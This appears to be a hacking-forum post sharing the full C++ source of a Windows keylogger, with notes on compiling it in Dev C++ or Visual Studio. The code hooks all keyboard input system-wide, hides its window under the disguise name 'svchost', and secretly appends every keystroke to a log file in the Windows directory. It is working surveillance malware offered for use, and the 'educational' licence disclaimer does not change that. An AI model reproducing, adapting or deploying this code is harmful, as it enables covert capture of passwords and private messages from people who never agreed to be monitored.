[C++] Keylogging

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ZionHD

Leader
Retired Staff
Nov 8, 2014
184
215
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I did not create this program. This code basic function is Keylogging. This hides the console window and records keystrokes no matter which program has focus. However there is a flaw in this code, the flaw is that the keystrokes no matter if Caps Lock is on the keystrokes will be saved undercase.

This code only works on Window OS. You can compile it using Dev C++ or Visual Studio.

Code:
/*
 * WinKey -- A GPL Windows keylogging program. While this program can potentially
 * be used for nefarious purposes, it was written for educational and recreational
 * purposes only and the author does not endorse illegal use.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 */

#include <fstream>
#include <iostream>
#include <string>
#include <windows.h>

#define    DEBUG    1

#define OUTFILE_NAME    "Logs\\WinKey.log"    /* Output file */
#define CLASSNAME    "winkey"
#define WINDOWTITLE    "svchost"

char    windir[MAX_PATH + 1];
HHOOK    kbdhook;    /* Keyboard hook handle */
bool    running;    /* Used in main loop */

/**
 * \brief Called by Windows automagically every time a key is pressed (regardless
 * of who has focus)
 */
__declspec(dllexport) LRESULT CALLBACK handlekeys(int code, WPARAM wp, LPARAM lp)
{
    if (code == HC_ACTION && (wp == WM_SYSKEYDOWN || wp == WM_KEYDOWN)) {
        static bool capslock = false;
        static bool shift = false;
        char tmp[0xFF] = {0};
        std::string str;
        DWORD msg = 1;
        KBDLLHOOKSTRUCT st_hook = *((KBDLLHOOKSTRUCT*)lp);
        bool printable;

        /*
        * Get key name as string
        */
        msg += (st_hook.scanCode << 16);
        msg += (st_hook.flags << 24);
        GetKeyNameText(msg, tmp, 0xFF);
        str = std::string(tmp);

        printable = (str.length() <= 1) ? true : false;

        /*
        * Non-printable characters only:
        * Some of these (namely; newline, space and tab) will be
        * made into printable characters.
        * Others are encapsulated in brackets ('[' and ']').
        */
        if (!printable) {
            /*
            * Keynames that change state are handled here.
            */
            if (str == "CAPSLOCK")
                capslock = !capslock;
            else if (str == "SHIFT")
                shift = true;

            /*
            * Keynames that may become printable characters are
            * handled here.
            */
            if (str == "ENTER") {
                str = "\n";
                printable = true;
            } else if (str == "SPACE") {
                str = " ";
                printable = true;
            } else if (str == "TAB") {
                str = "\t";
                printable = true;
            } else {
                str = ("[" + str + "]");
            }
        }

        /*
        * Printable characters only:
        * If shift is on and capslock is off or shift is off and
        * capslock is on, make the character uppercase.
        * If both are off or both are on, the character is lowercase
        */
        if (printable) {
            if (shift == capslock) { /* Lowercase */
                for (size_t i = 0; i < str.length(); ++i)
                    str[i] = tolower(str[i]);
            } else { /* Uppercase */
                for (size_t i = 0; i < str.length(); ++i) {
                    if (str[i] >= 'A' && str[i] <= 'Z') {
                        str[i] = toupper(str[i]);
                    }
                }
            }

            shift = false;
        }

#ifdef DEBUG
        std::cout << str;
#endif
        std::string path = std::string(windir) + "\\" + OUTFILE_NAME;
        std::ofstream outfile(path.c_str(), std::ios_base::app);
        outfile << str;
        outfile.close();
    }

    return CallNextHookEx(kbdhook, code, wp, lp);
}


/**
 * \brief Called by DispatchMessage() to handle messages
 * \param hwnd    Window handle
 * \param msg    Message to handle
 * \param wp
 * \param lp
 * \return 0 on success
 */
LRESULT CALLBACK windowprocedure(HWND hwnd, UINT msg, WPARAM wp, LPARAM lp)
{
    switch (msg) {
        case WM_CLOSE: case WM_DESTROY:
            running = false;
            break;
        default:
            /* Call default message handler */
            return DefWindowProc(hwnd, msg, wp, lp);
    }

    return 0;
}

int WINAPI WinMain(HINSTANCE thisinstance, HINSTANCE previnstance,
        LPSTR cmdline, int ncmdshow)
{
    /*
    * Set up window
    */
    HWND        hwnd;
    HWND        fgwindow = GetForegroundWindow(); /* Current foreground window */
    MSG        msg;
    WNDCLASSEX    windowclass;
    HINSTANCE    modulehandle;

    windowclass.hInstance = thisinstance;
    windowclass.lpszClassName = CLASSNAME;
    windowclass.lpfnWndProc = windowprocedure;
    windowclass.style = CS_DBLCLKS;
    windowclass.cbSize = sizeof(WNDCLASSEX);
    windowclass.hIcon = LoadIcon(NULL, IDI_APPLICATION);
    windowclass.hIconSm = LoadIcon(NULL, IDI_APPLICATION);
    windowclass.hCursor  = LoadCursor(NULL, IDC_ARROW);
    windowclass.lpszMenuName = NULL;
    windowclass.cbClsExtra = 0;
    windowclass.cbWndExtra = 0;
    windowclass.hbrBackground = (HBRUSH)COLOR_BACKGROUND;

    if (!(RegisterClassEx(&windowclass)))
        return 1;

    hwnd = CreateWindowEx(NULL, CLASSNAME, WINDOWTITLE, WS_OVERLAPPEDWINDOW,
            CW_USEDEFAULT, CW_USEDEFAULT, 640, 480, HWND_DESKTOP, NULL,
            thisinstance, NULL);
    if (!(hwnd))
        return 1;

    /*
    * Make the window invisible
    */
#ifdef DEBUG
    /*
    * Debug mode: Make the window visible
    */
    ShowWindow(hwnd, SW_SHOW);
#else
    ShowWindow(hwnd, SW_HIDE);
#endif
    UpdateWindow(hwnd);
    SetForegroundWindow(fgwindow); /* Give focus to the previous fg window */

    /*
    * Hook keyboard input so we get it too
    */
    modulehandle = GetModuleHandle(NULL);
    kbdhook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)handlekeys, modulehandle, NULL);

    running = true;

    GetWindowsDirectory((LPSTR)windir, MAX_PATH);

    /*
    * Main loop
    */
    while (running) {
        /*
        * Get messages, dispatch to window procedure
        */
        if (!GetMessage(&msg, NULL, 0, 0))
            running = false; /*
                     * This is not a "return" or
                     * "break" so the rest of the loop is
                     * done. This way, we never miss keys
                     * when destroyed but we still exit.
                     */
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }

    return 0;
}
 
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